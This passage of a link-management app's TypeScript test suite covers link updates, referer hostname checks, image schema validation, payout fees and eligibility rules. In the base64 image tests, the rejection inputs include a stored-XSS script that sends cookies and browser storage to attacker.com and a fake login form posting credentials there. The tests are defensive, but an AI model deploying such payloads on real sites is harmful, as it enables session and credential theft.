expect(updated.url).toBe(\n      \"https://newdomain.com/path?utm_source=new_source&utm_medium=email\",\n    );\n    expect(updated.utm_source).toBe(\"new_source\");\n    expect(updated.utm_medium).toBe(\"email\");\n    expect(updated.utm_campaign).toBe(null);\n  });\n});\n\ndescribe.sequential(\n  \"PUT /links/{linkId} (backwards compatibility)\",\n  async () => {\n    const h = new IntegrationHarness();\n    const { workspace, http, user } = await h.init();\n    const workspaceId = workspace.id;\n    const projectId = normalizeWorkspaceId(workspaceId);\n    const externalId = randomId();\n\n    const { data: link } = await http.post<Link>({\n      path: \"/links\",\n      body: {\n        url,\n        domain,\n        externalId,\n      },\n    });\n\n    const toUpdate: Partial<Link> = {\n      key: randomId(),\n      url: \"https://github.com/dubinc/dub\",\n      title: \"Dub Inc\",\n      description: \"Open-source link management infrastructure.\",\n      comments: \"This is a comment.\",\n      expiresAt: new Date(\"2030-04-16T17:00:00.000Z\"),\n      expiredUrl: \"https://github.com/expired\",\n      password: \"link-password\",\n      ios: \"https://apps.apple.com/app/1611158928\",\n      android:\n        \"https://play.google.com/store/apps/details?id=com.disney.disneyplus\",\n      geo: {\n        AF: `${url}/AF`,\n      },\n    };\n\n    afterAll(async () => {\n      await h.deleteLink(link.id);\n    });\n\n    test(\"update link using PUT\", async () => {\n      const { data: updatedLink } = await http.put<Link>({\n        path: `/links/${link.id}`,\n        body: { ...toUpdate },\n      });\n\n      expect(updatedLink).toStrictEqual({\n        ...expectedLink,\n        ...toUpdate,\n        domain,\n        workspaceId,\n        externalId,\n        userId: user.id,\n        expiresAt: \"2030-04-16T17:00:00.000Z\",\n        projectId,\n        shortLink: `https://${domain}/${toUpdate.key}`,\n        qrCode: `https://api.dub.co/qr?url=https://${domain}/${toUpdate.key}?qr=1`,\n      });\n\n      // Fetch the link\n      const { data: fetchedLink } = await http.get<Link>({\n        path: `/links/${link.id}`,\n      });\n\n      expect(fetchedLink).toStrictEqual({\n        ...expectedLink,\n        ...toUpdate,\n        domain,\n        workspaceId,\n        externalId,\n        userId: user.id,\n        expiresAt: \"2030-04-16T17:00:00.000Z\",\n        projectId,\n        shortLink: `https://${domain}/${toUpdate.key}`,\n        qrCode: `https://api.dub.co/qr?url=https://${domain}/${toUpdate.key}?qr=1`,\n      });\n    });\n  },\n);\n"
  },
  {
    "path": "apps/web/tests/links/upsert-link.test.ts",
    "content": "import { normalizeWorkspaceId } from \"@/lib/api/workspaces/workspace-id\";\nimport { Link } from \"@dub/prisma/client\";\nimport { afterAll, describe, expect, test } from \"vitest\";\nimport { randomId } from \"../utils/helpers\";\nimport { IntegrationHarness } from \"../utils/integration\";\nimport { E2E_LINK } from \"../utils/resource\";\nimport { expectedLink } from \"../utils/schema\";\n\nconst { domain } = E2E_LINK;\nconst url = `https://example.com/${randomId()}`;\n\ndescribe.sequential(\"PUT /links/upsert\", async () => {\n  const h = new IntegrationHarness();\n  const { workspace, user, http } = await h.init();\n  const workspaceId = workspace.id;\n  const projectId = normalizeWorkspaceId(workspaceId);\n  let createdLink: Link;\n\n  afterAll(async () => {\n    await h.deleteLink(createdLink.id);\n  });\n\n  test(\"New link\", async () => {\n    const { data } = await http.put<Link>({\n      path: \"/links/upsert\",\n      body: { domain, url },\n    });\n\n    createdLink = data;\n\n    expect(createdLink).toStrictEqual({\n      ...expectedLink,\n      domain,\n      url,\n      userId: user.id,\n      projectId,\n      workspaceId,\n      shortLink: `https://${domain}/${createdLink.key}`,\n      qrCode: `https://api.dub.co/qr?url=https://${domain}/${createdLink.key}?qr=1`,\n    });\n  });\n\n  test(\"Existing link\", async () => {\n    const { data: updatedLink } = await http.put<Link>({\n      path: \"/links/upsert\",\n      body: { domain, url, comments: \"Updated comment\" },\n    });\n\n    expect(updatedLink).toStrictEqual({\n      ...expectedLink,\n      domain,\n      url,\n      userId: user.id,\n      projectId,\n      workspaceId,\n      comments: \"Updated comment\",\n      shortLink: `https://${domain}/${createdLink.key}`,\n      qrCode: `https://api.dub.co/qr?url=https://${domain}/${createdLink.key}?qr=1`,\n    });\n  });\n});\n"
  },
  {
    "path": "apps/web/tests/misc/allowed-hostnames.test.ts",
    "content": "import { describe, expect, it } from \"vitest\";\nimport { verifyAnalyticsAllowedHostnames } from \"../../lib/analytics/verify-analytics-allowed-hostnames\";\n\ndescribe(\"analytics allowed hostnames\", () => {\n  const createMockRequest = (referer: string | null) => {\n    const headers = new Headers();\n    if (referer) {\n      headers.set(\"referer\", referer);\n    }\n    return { headers } as Request;\n  };\n\n  describe(\"wildcard subdomain pattern (*.example.com)\", () => {\n    const allowedHostnames = [\"*.example.com\"];\n\n    it(\"should allow subdomain traffic\", () => {\n      const testCases = [\n        \"https://app.example.com\",\n        \"https://sub.sub.example.com\",\n      ];\n\n      testCases.forEach((referer) => {\n        const req = createMockRequest(referer);\n        const result = verifyAnalyticsAllowedHostnames({\n          allowedHostnames,\n          req,\n        });\n        expect(result).toBe(true);\n      });\n    });\n\n    it(\"should deny root domain traffic\", () => {\n      const testCases = [\"https://example.com\"];\n\n      testCases.forEach((referer) => {\n        const req = createMockRequest(referer);\n        const result = verifyAnalyticsAllowedHostnames({\n          allowedHostnames,\n          req,\n        });\n        expect(result).toBe(false);\n      });\n    });\n\n    it(\"should deny traffic from other domains\", () => {\n      const testCases = [\n        \"https://otherdomain.com\",\n        \"https://blog.otherdomain.com\",\n        \"https://example.com.evil.com\",\n        \"https://testexample.com\",\n      ];\n\n      testCases.forEach((referer) => {\n        const req = createMockRequest(referer);\n        const result = verifyAnalyticsAllowedHostnames({\n          allowedHostnames,\n          req,\n        });\n        expect(result).toBe(false);\n      });\n    });\n  });\n\n  describe(\"root domain pattern (example.com)\", () => {\n    const allowedHostnames = [\"example.com\"];\n\n    it(\"should allow root domain traffic\", () => {\n      const testCases = [\"https://example.com\"];\n\n      testCases.forEach((referer) => {\n        const req = createMockRequest(referer);\n        const result = verifyAnalyticsAllowedHostnames({\n          allowedHostnames,\n          req,\n        });\n        expect(result).toBe(true);\n      });\n    });\n\n    it(\"should deny subdomain traffic\", () => {\n      const testCases = [\"https://app.example.com\"];\n\n      testCases.forEach((referer) => {\n        const req = createMockRequest(referer);\n        const result = verifyAnalyticsAllowedHostnames({\n          allowedHostnames,\n          req,\n        });\n        expect(result).toBe(false);\n      });\n    });\n  });\n\n  describe(\"combined patterns (example.com and *.example.com)\", () => {\n    const allowedHostnames = [\"example.com\", \"*.example.com\"];\n\n    it(\"should allow both root domain and subdomain traffic\", () => {\n      const testCases = [\n        \"https://example.com\",\n        \"https://app.example.com\",\n        \"https://sub.sub.example.com\",\n      ];\n\n      testCases.forEach((referer) => {\n        const req = createMockRequest(referer);\n        const result = verifyAnalyticsAllowedHostnames({\n          allowedHostnames,\n          req,\n        });\n        expect(result).toBe(true);\n      });\n    });\n\n    it(\"should deny traffic from other domains\", () => {\n      const testCases = [\n        \"https://otherdomain.com\",\n        \"https://blog.otherdomain.com\",\n        \"https://example.com.evil.com\",\n        \"https://testexample.com\",\n      ];\n\n      testCases.forEach((referer) => {\n        const req = createMockRequest(referer);\n        const result = verifyAnalyticsAllowedHostnames({\n          allowedHostnames,\n          req,\n        });\n        expect(result).toBe(false);\n      });\n    });\n  });\n\n  describe(\"edge cases\", () => {\n    it(\"should handle requests without referer or origin\", () => {\n      const req = createMockRequest(null);\n      const result = verifyAnalyticsAllowedHostnames({\n        allowedHostnames: [\"example.com\"],\n        req,\n      });\n      expect(result).toBe(false);\n    });\n\n    it(\"should allow all traffic when no hostnames are specified\", () => {\n      const testCases = [\n        \"https://example.com\",\n        \"https://blog.example.com\",\n        \"https://otherdomain.com\",\n      ];\n\n      testCases.forEach((referer) => {\n        const req = createMockRequest(referer);\n        const result = verifyAnalyticsAllowedHostnames({\n          allowedHostnames: [],\n          req,\n        });\n        expect(result).toBe(true);\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "apps/web/tests/misc/base64.test.ts",
    "content": "import { base64ImageSchema } from \"@/lib/zod/schemas/misc\";\nimport { describe, expect, it } from \"vitest\";\n\ndescribe(\"base64ImageSchema\", () => {\n  it(\"should validate a correct base64 PNG image\", async () => {\n    const validBase64Image =\n      \"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVR42mP8z8BQDwAEhQGAhKmMIQAAAABJRU5ErkJggg==\";\n    await expect(\n      base64ImageSchema.parseAsync(validBase64Image),\n    ).resolves.not.toThrow();\n  });\n\n  it(\"should reject an invalid image type\", async () => {\n    const invalidImageType =\n      \"data:image/invalid;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVR42mP8z8BQDwAEhQGAhKmMIQAAAABJRU5ErkJggg==\";\n    await expect(\n      base64ImageSchema.parseAsync(invalidImageType),\n    ).rejects.toThrow(\n      \"Invalid image format, supports only png, jpeg, jpg, gif, webp.\",\n    );\n  });\n\n  it(\"should reject malformed base64 data\", async () => {\n    const malformedBase64 = \"data:image/png;base64,invalid-base64-data\";\n    await expect(base64ImageSchema.parseAsync(malformedBase64)).rejects.toThrow(\n      \"Invalid image format, supports only png, jpeg, jpg, gif, webp.\",\n    );\n  });\n\n  it(\"should reject a string without data URI prefix\", async () => {\n    const noPrefix =\n      \"iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVR42mP8z8BQDwAEhQGAhKmMIQAAAABJRU5ErkJggg==\";\n    await expect(base64ImageSchema.parseAsync(noPrefix)).rejects.toThrow(\n      \"Invalid image format, supports only png, jpeg, jpg, gif, webp.\",\n    );\n  });\n\n  it(\"should reject non-image content\", async () => {\n    // This is a base64 encoded text file\n    const textContent =\n      \"data:image/png;base64,\" +\n      Buffer.from(\"This is not an image\").toString(\"base64\");\n    await expect(base64ImageSchema.parseAsync(textContent)).rejects.toThrow(\n      \"Invalid image format, supports only png, jpeg, jpg, gif, webp.\",\n    );\n  });\n\n  describe(\"Security Attack Vectors\", () => {\n    it(\"should reject stored XSS attempts\", async () => {\n      // XSS payload with image MIME type\n      const xssPayload =\n        \"data:image/jpeg;base64,\" +\n        Buffer.from(\n          `\n        <script>\n          // Stored XSS payload\n          const stolenData = {\n            cookies: document.cookie,\n            localStorage: localStorage,\n            sessionStorage: sessionStorage\n          };\n          \n          // Send to attacker's server\n          fetch('https://attacker.com/steal', {\n            method: 'POST',\n            body: JSON.stringify(stolenData)\n          });\n        </script>\n      `,\n        ).toString(\"base64\");\n\n      await expect(base64ImageSchema.parseAsync(xssPayload)).rejects.toThrow(\n        \"Invalid image format, supports only png, jpeg, jpg, gif, webp.\",\n      );\n    });\n\n    it(\"should reject phishing page injection attempts\", async () => {\n      // Fake login form with image MIME type\n      const phishingPayload =\n        \"data:image/png;base64,\" +\n        Buffer.from(\n          `\n        <html>\n          <head>\n            <title>Login to Your Account</title>\n            <style>\n              .login-form { /* Styles to match legitimate site */ }\n            </style>\n          </head>\n          <body>\n            <form action=\"https://attacker.com/steal-credentials\" method=\"POST\">\n              <input type=\"email\" name=\"email\" placeholder=\"Email\">\n              <input type=\"password\" name=\"password\" placeholder=\"Password\">\n              <button type=\"submit\">Login</button>\n            </form>\n          </body>\n        </html>\n      `,\n        ).toString(\"base64\");\n\n      await expect(\n        base64ImageSchema.parseAsync(phishingPayload),\n      ).rejects.toThrow(\n        \"Invalid image format, supports only png, jpeg, jpg, gif, webp.\",\n      );\n    });\n  });\n});\n"
  },
  {
    "path": "apps/web/tests/misc/calculate-payout-fee-with-waiver.test.ts",
    "content": "import { calculatePayoutFeeWithWaiver } from \"@/lib/partners/calculate-payout-fee-with-waiver\";\nimport { describe, expect, it } from \"vitest\";\n\ndescribe(\"calculatePayoutFeeWithWaiver\", () => {\n  const payoutFee = 0.03; // 3% fee\n\n  it(\"zero waiver limit (backward compatibility)\", () => {\n    const result = calculatePayoutFeeWithWaiver({\n      payoutAmount: 10000, // $100.00\n      payoutFee,\n      payoutFeeWaiverLimit: 0,\n      payoutFeeWaiverUsage: 0,\n    });\n\n    expect(result).toEqual({\n      feeFreeAmount: 0,\n      feeChargedAmount: 10000,\n      feeWaiverRemaining: 0,\n      fee: 300, // 3% of $100.00\n    });\n  });\n\n  it(\"fully within waiver\", () => {\n    const result = calculatePayoutFeeWithWaiver({\n      payoutAmount: 10000, // $100.00\n      payoutFee,\n      payoutFeeWaiverLimit: 50000, // $500.00 limit\n      payoutFeeWaiverUsage: 0, // nothing used yet\n    });\n\n    expect(result).toEqual({\n      fee: 0, // no fee charged\n      feeFreeAmount: 10000, // entire amount is free\n      feeChargedAmount: 0,\n      feeWaiverRemaining: 50000,\n    });\n  });\n\n  it(\"partially within waiver\", () => {\n    const result = calculatePayoutFeeWithWaiver({\n      payoutAmount: 10000, // $100.00\n      payoutFee,\n      payoutFeeWaiverLimit: 50000, // $500.00 limit\n      payoutFeeWaiverUsage: 45000, // $450.00 already used\n    });\n\n    expect(result).toEqual({\n      fee: 150, // 3% of $50.00\n      feeFreeAmount: 5000, // $50.00 free (remaining waiver)\n      feeChargedAmount: 5000, // $50.00 charged\n      feeWaiverRemaining: 5000,\n    });\n  });\n\n  it(\"waiver exhausted\", () => {\n    const result = calculatePayoutFeeWithWaiver({\n      payoutAmount: 10000, // $100.00\n      payoutFee,\n      payoutFeeWaiverLimit: 50000, // $500.00 limit\n      payoutFeeWaiverUsage: 50000, // fully used\n    });\n\n    expect(result).toEqual({\n      fee: 300, // 3% of $100.00\n      feeFreeAmount: 0,\n      feeChargedAmount: 10000,\n      feeWaiverRemaining: 0,\n    });\n  });\n\n  it(\"includes fastAchFee when provided\", () => {\n    const result = calculatePayoutFeeWithWaiver({\n      payoutAmount: 10000,\n      payoutFeeWaiverLimit: 50000,\n      payoutFeeWaiverUsage: 45000,\n      payoutFee,\n      fastAchFee: 50,\n    });\n\n    expect(result).toEqual({\n      fee: 200, // 3% of $50.00 + $0.50 fast ACH fee\n      feeFreeAmount: 5000,\n      feeChargedAmount: 5000,\n      feeWaiverRemaining: 5000,\n    });\n  });\n});\n"
  },
  {
    "path": "apps/web/tests/misc/case-sensitive-keys.test.ts",
    "content": "import { decodeKey, encodeKey } from \"@/lib/api/links/case-sensitivity\";\nimport { describe, expect, it } from \"vitest\";\n\nconst testCases = {\n  \"basic strings\": [\n    \"Hello World\",\n    \"Case-Sensitive123\",\n    \"abc\",\n    \"!@#$%^&*()\",\n    \"+_)(*&^%$#@!~\",\n  ],\n  \"special content\": [\n    \"\\\\\\\\\\\\\", // backslashes\n    \"'''\\\"\\\"\\\"\", // quotes\n    \"\\t\\n\\r\", // control characters\n    \"null\\0byte\", // null byte\n    \"unicode→↓←↑\", // arrows\n    \"🌟⭐️✨\", // basic emojis\n    \"Mixed🌟Emoji⭐️Text\", // mixed content\n    \"👨‍👩‍👧‍👦\", // complex emoji\n  ],\n  international: [\n    \"漢字한글テストñáéíóúüрусскийالعربية\", // mixed scripts\n    \"עִברִית नमस्ते ᚠᚢᚦᚨᚱᚲ\", // more scripts\n  ],\n  \"URLs and paths\": [\n    \"path/to/resource\",\n    \"query?param=value&complex=true#hash\",\n    \"user:pass@host:8080/path?query#fragment\",\n  ],\n  \"edge cases\": [\n    \"\", // empty\n    \" \", // single space\n    \"   \", // multiple spaces\n    \"a\".repeat(100), // long string\n  ],\n};\n\nconst caseVariants = [\n  [\"github\", \"GITHUB\", \"Github\", \"gitHub\"],\n  [\"URL-Path\", \"url-path\", \"Url-Path\", \"URL-PATH\"],\n  [\"Mixed_Case_123\", \"MIXED_CASE_123\", \"mixed_case_123\"],\n];\n\ndescribe(\"case-sensitive key encoding/decoding\", () => {\n  Object.entries(testCases).forEach(([category, cases]) => {\n    describe(category, () => {\n      cases.forEach((input) => {\n        const testName =\n          input.length > 20\n            ? `${input.slice(0, 20)}... (${input.length})`\n            : input || \"(empty string)\";\n\n        it(testName, () => {\n          const encoded = encodeKey(input);\n          const decoded = decodeKey(encoded);\n\n          expect(decoded).toBe(input);\n        });\n      });\n    });\n  });\n\n  it(\"should handle case variants correctly\", () => {\n    caseVariants.forEach((variants, i) => {\n      const encodedSet = new Set(variants.map(encodeKey));\n\n      expect(encodedSet.size).toBe(variants.length);\n\n      variants.forEach((variant) => {\n        const encoded = encodeKey(variant);\n        const decoded = decodeKey(encoded);\n        expect(decoded).toBe(variant);\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "apps/web/tests/misc/check-eligibility-requirements.test.ts",
    "content": "import { evaluateApplicationRequirements } from \"@/lib/partners/evaluate-application-requirements\";\nimport { describe, expect, it } from \"vitest\";\n\nfunction evaluate(\n  applicationRequirements: unknown,\n  context: { country?: string | null; email?: string | null },\n) {\n  return evaluateApplicationRequirements({ applicationRequirements, context });\n}\n\ndescribe(\"evaluateApplicationRequirements\", () => {\n  describe(\"country — is\", () => {\n    const condition = {\n      key: \"country\" as const,\n      operator: \"is\" as const,\n      value: [\"US\", \"CA\"],\n    };\n\n    it(\"returns valid when country is in the list\", () => {\n      const result = evaluate([condition], { country: \"US\" });\n      expect(result.valid).toBe(true);\n      expect(result.reason).toBe(\"requirementsMet\");\n    });\n\n    it(\"returns invalid when country is not in the list\", () => {\n      const result = evaluate([condition], { country: \"GB\" });\n      expect(result.valid).toBe(false);\n      expect(result.reason).toBe(\"requirementsNotMet\");\n    });\n\n    it(\"returns invalid when context has no country or is null\", () => {\n      const resultNull = evaluate([condition], { country: null });\n      expect(resultNull.valid).toBe(false);\n      expect(resultNull.reason).toBe(\"requirementsNotMet\");\n\n      const resultEmpty = evaluate([condition], {});\n      expect(resultEmpty.valid).toBe(false);\n      expect(resultEmpty.reason).toBe(\"requirementsNotMet\");\n    });\n  });\n\n  describe(\"country — is_not\", () => {\n    const condition = {\n      key: \"country\" as const,\n      operator: \"is_not\" as const,\n      value: [\"US\"],\n    };\n\n    it(\"returns invalid when country is in the exclusion list\", () => {\n      const result = evaluate([condition], { country: \"US\" });\n      expect(result.valid).toBe(false);\n      expect(result.reason).toBe(\"requirementsNotMet\");\n    });\n\n    it(\"returns valid when country is not in the exclusion list\", () => {\n      const result = evaluate([condition], { country: \"GB\" });\n      expect(result.valid).toBe(true);\n      expect(result.reason).toBe(\"requirementsMet\");\n    });\n  });\n\n  describe(\"emailDomain — is (exact match)\", () => {\n    const condition = {\n      key: \"emailDomain\" as const,\n      operator: \"is\" as const,\n      value: [\"@acme.com\"],\n    };\n\n    it(\"returns valid when domain matches exactly\", () => {\n      const result = evaluate([condition], { email: \"jane@acme.com\" });\n      expect(result.valid).toBe(true);\n      expect(result.reason).toBe(\"requirementsMet\");\n    });\n\n    it(\"returns invalid for a subdomain — exact match is strict\", () => {\n      const result = evaluate([condition], { email: \"jane@sub.acme.com\" });\n      expect(result.valid).toBe(false);\n      expect(result.reason).toBe(\"requirementsNotMet\");\n    });\n\n    it(\"returns invalid when domain contains the pattern as a suffix but is a different domain\", () => {\n      const result = evaluate([condition], { email: \"jane@notacme.com\" });\n      expect(result.valid).toBe(false);\n      expect(result.reason).toBe(\"requirementsNotMet\");\n    });\n  });\n\n  describe(\"emailDomain — is (wildcard)\", () => {\n    it(\"@*.edu matches any .edu email\", () => {\n      const condition = {\n        key: \"emailDomain\" as const,\n        operator: \"is\" as const,\n        value: [\"@*.edu\"],\n      };\n      const resultMatch = evaluate([condition], { email: \"jane@mit.edu\" });\n      expect(resultMatch.valid).toBe(true);\n      expect(resultMatch.reason).toBe(\"requirementsMet\");\n\n      const resultNoMatch = evaluate([condition], { email: \"jane@mit.edu.uk\" });\n      expect(resultNoMatch.valid).toBe(false);\n      expect(resultNoMatch.reason).toBe(\"requirementsNotMet\");\n    });\n\n    it(\"@*.acme.com matches subdomains but not the root domain\", () => {\n      const condition = {\n        key: \"emailDomain\" as const,\n        operator: \"is\" as const,\n        value: [\"@*.acme.com\"],\n      };\n      const resultMatch = evaluate([condition], {\n        email: \"jane@mail.acme.com\",\n      });\n      expect(resultMatch.valid).toBe(true);\n      expect(resultMatch.reason).toBe(\"requirementsMet\");\n\n      const resultNoMatch = evaluate([condition], { email: \"jane@acme.com\" });\n      expect(resultNoMatch.valid).toBe(false);\n      expect(resultNoMatch.reason).toBe(\"requirementsNotMet\");\n    });\n  });\n\n  describe(\"emailDomain — is_not\", () => {\n    const condition = {\n      key: \"emailDomain\" as const,\n      operator: \"is_not\" as const,\n      value: [\"@gmail.com\"],\n    };\n\n    it(\"returns invalid when domain matches, valid when it does not\", () => {\n      const resultMatch = evaluate([condition], { email: \"jane@gmail.com\" });\n      expect(resultMatch.valid).toBe(false);\n      expect(resultMatch.reason).toBe(\"requirementsNotMet\");\n\n      const resultNoMatch = evaluate([condition], { email: \"jane@acme.com\" });\n      expect(resultNoMatch.valid).toBe(true);\n      expect(resultNoMatch.reason).toBe(\"requirementsMet\");\n    });\n  });\n\n  describe(\"emailDomain — missing or malformed data\", () => {\n    const condition = {\n      key: \"emailDomain\" as const,\n      operator: \"is\" as const,\n      value: [\"@acme.com\"],\n    };\n\n    it(\"returns invalid when context has no email\", () => {\n      const result = evaluate([condition], { email: null });\n      expect(result.valid).toBe(false);\n      expect(result.reason).toBe(\"requirementsNotMet\");\n    });\n\n    it(\"returns invalid when email has no @ sign\", () => {\n      const result = evaluate([condition], { email: \"notanemail\" });\n      expect(result.valid).toBe(false);\n      expect(result.reason).toBe(\"requirementsNotMet\");\n    });\n  });\n\n  describe(\"case insensitivity\", () => {\n    it(\"matches uppercase email domain against a lowercase pattern\", () => {\n      const condition = {\n        key: \"emailDomain\" as const,\n        operator: \"is\" as const,\n        value: [\"@acme.com\"],\n      };\n      const result = evaluate([condition], { email: \"JANE@ACME.COM\" });\n      expect(result.valid).toBe(true);\n      expect(result.reason).toBe(\"requirementsMet\");\n    });\n  });\n\n  describe(\"multiple requirements (all must be met)\", () => {\n    const countryCondition = {\n      key: \"country\" as const,\n      operator: \"is\" as const,\n      value: [\"US\"],\n    };\n    const emailCondition = {\n      key: \"emailDomain\" as const,\n      operator: \"is\" as const,\n      value: [\"@acme.com\"],\n    };\n    const requirements = [countryCondition, emailCondition];\n\n    it(\"returns valid when all conditions are met\", () => {\n      const result = evaluate(requirements, {\n        country: \"US\",\n        email: \"jane@acme.com\",\n      });\n      expect(result.valid).toBe(true);\n      expect(result.reason).toBe(\"requirementsMet\");\n    });\n\n    it(\"returns invalid when one condition is unmet\", () => {\n      const result = evaluate(requirements, {\n        country: \"GB\",\n        email: \"jane@acme.com\",\n      });\n      expect(result.valid).toBe(false);\n      expect(result.reason).toBe(\"requirementsNotMet\");\n    });\n  });\n\n  describe(\"no requirements\", () => {\n    it(\"returns valid when requirements array is empty\", () => {\n      const result = evaluate([], {\n        country: \"US\",\n        email: \"jane@acme.com\",\n      });\n      expect(result.valid).toBe(true);\n      expect(result.reason).toBe(\"noRequirements\");\n    });\n\n    it(\"returns valid when applicationRequirements is null\", () => {\n      const result = evaluate(null, {\n        country: \"US\",\n        email: \"jane@acme.com\",\n      });\n      expect(result.valid).toBe(true);\n      expect(result.reason).toBe(\"noRequirements\");\n    });\n\n    it(\"returns valid when applicationRequirements is undefined\", () => {\n      const result = evaluate(undefined, {\n        country: \"US\",\n        email: \"jane@acme.com\",\n      });\n      expect(result.valid).toBe(true);\n      expect(result.reason).toBe(\"noRequirements\");\n    });\n  });\n\n  describe(\"invalid requirements\", () => {\n    it(\"returns invalid with reason invalidRequirements when schema parsing fails\", () => {\n      const result = evaluate([{ key: \"country\", operator: \"is\", value: [] }], {\n        country: \"US\",\n      });\n      expect(result.valid).toBe(false);\n      expect(result.reason).toBe(\"invalidRequirements\");\n    });\n  });\n});\n"
  },
  {
    "path": "apps/web/tests/misc/create-id.test.ts",
    "content": "import { createId } from \"@/lib/api/create-id\";\nimport { describe, expect, it } from \"vitest\";\n\ndescribe(\"createId\", () => {\n  it(\"should create ids in lexicographical order\", () => {\n    const ids: string[] = [];\n\n    for (let i = 0; i < 10; i++) {\n      ids.push(createId({ prefix: \"link_\" }));\n\n      const now = Date.now();\n      while (Date.now() - now < 10) {} // busy wait for 10ms\n    }\n\n    // Create a copy and sort it lexicographically\n    const sortedIds = [...ids].sort();\n    expect(ids).toEqual(sortedIds);\n  });\n\n  it(\"should maintain order with prefixes\", () => {\n    const ids: string[] = [];\n\n    for (let i = 0; i < 5; i++) {\n      ids.push(createId({ prefix: \"link_\" }));\n\n      const now = Date.now();\n      while (Date.now() - now < 10) {} // busy wait for 10ms\n    }\n\n    const sortedIds = [...ids].sort();\n    expect(ids).toEqual(sortedIds);\n  });\n});\n"
  },
  {
    "path": "apps/web/tests/misc/eligibility-condition-schema.test.ts",
    "content": "import { eligibilityConditionSchema } from \"@/lib/zod/schemas/programs\";\nimport { describe, expect, it } from \"vitest\";\n\ndescribe(\"eligibilityConditionSchema — emailDomain normalization\", () => {\n  it(\"prepends @ when missing\", () => {\n    const result = eligibilityConditionSchema.parse({\n      key: \"emailDomain\",\n      operator: \"is\",\n      value: [\"domain.com\"],\n    });\n    expect(result.value).toEqual([\"@domain.com\"]);\n  });\n\n  it(\"lowercases the domain\", () => {\n    const result = eligibilityConditionSchema.parse({\n      key: \"emailDomain\",\n      operator: \"is\",\n      value: [\"@ACME.COM\"],\n    });\n    expect(result.value).toEqual([\"@acme.com\"]);\n  });\n\n  it(\"normalizes each entry in the array independently\", () => {\n    const result = eligibilityConditionSchema.parse({\n      key: \"emailDomain\",\n      operator: \"is_not\",\n      value: [\"ACME.COM\", \" @Sub.Acme.Com \", \"@already.com\"],\n    });\n    expect(result.value).toEqual([\n      \"@acme.com\",\n      \"@sub.acme.com\",\n      \"@already.com\",\n    ]);\n  });\n\n  it(\"preserves and lowercases wildcard patterns\", () => {\n    const result = eligibilityConditionSchema.parse({\n      key: \"emailDomain\",\n      operator: \"is\",\n      value: [\"@*.EDU\", \"*.Acme.Com\"],\n    });\n    expect(result.value).toEqual([\"@*.edu\", \"@*.acme.com\"]);\n  });\n});\n\ndescribe(\"eligibilityConditionSchema — country (no normalization)\", () => {\n  it(\"does not alter country codes\", () => {\n    const result = eligibilityConditionSchema.parse({\n      key: \"country\",\n      operator: \"is\",\n      value: [\"US\", \"CA\"],\n    });\n    expect(result.value).toEqual([\"US\", \"CA\"]);\n  });\n});\n\ndescribe(\"eligibilityConditionSchema — validation\", () => {\n  it(\"rejects an empty value array\", () => {\n    expect(() =>\n      eligibilityConditionSchema.parse({\n        key: \"emailDomain\",\n        operator: \"is\",\n        value: [],\n      }),\n    ).toThrow();\n  });\n\n  it(\"rejects a whitespace-only domain entry (normalizes to '@')\", () => {\n    expect(() =>\n      eligibilityConditionSchema.parse({\n        key: \"emailDomain\",\n        operator: \"is\",\n        value: [\"   \"],\n      }),\n    ).toThrow();\n  });\n\n  it(\"rejects an unknown key\", () => {\n    expect(() =>\n      eligibilityConditionSchema.parse({\n        key: \"unknownKey\",\n        operator: \"is\",\n        value: [\"@acme.com\"],\n      }),\n    ).toThrow();\n  });\n});\n"
  },
  {
    "path": "apps/web/tests/misc/email-domain-validation.test.ts",
    "content": "import { isValidDomainPattern } from \"@/lib/partners/evaluate-application-requirements\";\nimport { describe, expect, it } from \"vitest\";\n\ndescribe(\"isValidDomainPattern\", () => {\n  it.each([\n    [\"@acme.com\", \"simple domain\"],\n    [\"@sub.acme.com\", \"subdomain\"],\n    [\"@acme.co.uk\", \"multi-part TLD\"],\n    [\"@*.edu\", \"wildcard with TLD only\"],\n    [\"@*.acme.com\", \"wildcard with domain + TLD\"],\n  ])(\"valid: %s — %s\", (pattern) => {\n    expect(isValidDomainPattern(pattern)).toBe(true);\n  });\n\n  it.each([\n    [\"acme.com\", \"missing @ prefix\"],\n    [\"@acme\", \"no TLD\"],\n    [\"@acme.*\", \"wildcard at end, not start\"],\n    [\"@*.\", \"wildcard with no TLD\"],\n    [\"\", \"empty string\"],\n    [\"@*.c\", \"TLD too short (1 char)\"],\n  ])(\"invalid: %s — %s\", (pattern) => {\n    expect(isValidDomainPattern(pattern)).toBe(false);\n  });\n\n  it(\"trims leading/trailing whitespace before validating\", () => {\n    expect(isValidDomainPattern(\"  @acme.com  \")).toBe(true);\n  });\n\n  it(\"is case-insensitive\", () => {\n    expect(isValidDomainPattern(\"@ACME.COM\")).toBe(true);\n  });\n});\n"
  },
  {
    "path": "apps/web/tests/misc/filter-active-group-bounties.test.ts",
    "content": "import { filterActiveGroupBounties } from \"@/lib/bounty/api/get-group-bounty-summaries\";\nimport { BountyType } from \"@dub/prisma/client\";\nimport { describe, expect, it } from \"vitest\";\n\nconst GROUP_ID = \"grp_test_123\";\nconst OTHER_GROUP_ID = \"grp_other_456\";\n\nconst NOW = new Date(\"2025-06-01T12:00:00.000Z\");\n\nfunction makeCandidate(\n  overrides: Partial<{\n    id: string;\n    name: string | null;\n    type: BountyType;\n    startsAt: Date;\n    endsAt: Date | null;\n    archivedAt: Date | null;\n    groups: { groupId: string }[];\n  }> = {},\n) {\n  return {\n    id: \"bnty_1\",\n    name: \"Test Bounty\",\n    type: \"submission\" as BountyType,\n    startsAt: new Date(\"2025-01-01T00:00:00.000Z\"),\n    endsAt: null,\n    archivedAt: null,\n    groups: [],\n    ...overrides,\n  };\n}\n\ndescribe(\"filterActiveGroupBounties\", () => {\n  it(\"excludes archived bounties\", () => {\n    const bounty = makeCandidate({\n      archivedAt: new Date(\"2025-05-01T00:00:00.000Z\"),\n    });\n    const result = filterActiveGroupBounties([bounty], {\n      groupId: GROUP_ID,\n      now: NOW,\n    });\n    expect(result).toHaveLength(0);\n  });\n\n  it(\"excludes bounties that have not started yet (startsAt > now)\", () => {\n    const bounty = makeCandidate({\n      startsAt: new Date(\"2025-06-02T00:00:00.000Z\"),\n    });\n    const result = 